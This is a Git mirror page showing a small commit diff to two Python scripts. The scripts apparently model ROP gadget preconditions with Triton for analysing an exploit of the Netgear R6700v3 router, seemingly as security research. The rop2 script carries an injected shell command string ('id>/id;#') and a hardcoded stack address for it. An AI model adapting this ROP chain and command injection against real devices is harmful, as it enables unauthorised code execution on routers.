admin/cyber-defence-campus-netgear_r6700v3_circled
1
0
Fork 0
mirror of https://github.com/cyber-defence-campus/netgear_r6700v3_circled synced 2026-08-09 12:29:06 +00:00
Code Issues Packages Projects Releases Wiki Activity

Simplifications

Browse Source
This commit is contained in:
Damian Pfammatter
2024-05-01 11:30:03 +02:00
parent 662aa981c1
commit ad19165797
2 changed files with 3 additions and 4 deletions
Download Patch File Download Diff File Expand all files Collapse all files
morion/circled.rop1.py
+1 -1
View File
@@ -7,7 +7,7 @@ from triton import CPUSIZE, MemoryAccess
ctx = ctx
ast = ast
# Preconditions gadget 0
# Preconditions
g0_sp_val = ctx.getConcreteRegisterValue(ctx.registers.sp)-9*CPUSIZE.DWORD
g0_pc_ast = ctx.getMemoryAst(MemoryAccess(g0_sp_val+8*CPUSIZE.DWORD, CPUSIZE.DWORD))
g0_pc_val = 0xc9b8
morion/circled.rop2.py
+2 -3
View File
@@ -8,11 +8,10 @@ ctx = ctx
ast = ast
# OS command
md5_sum_len = 32
cmd = "id>/id;#"
cmd_addr = 0xbeffc0c4+396
cmd_addr = 0xbeffc250
# Preconditions gadget 0
# Preconditions
g0_sp_val = ctx.getConcreteRegisterValue(ctx.registers.sp)-9*CPUSIZE.DWORD
g0_pc_ast = ctx.getMemoryAst(MemoryAccess(g0_sp_val+8*CPUSIZE.DWORD, CPUSIZE.DWORD))
g0_pc_val = 0xc9b8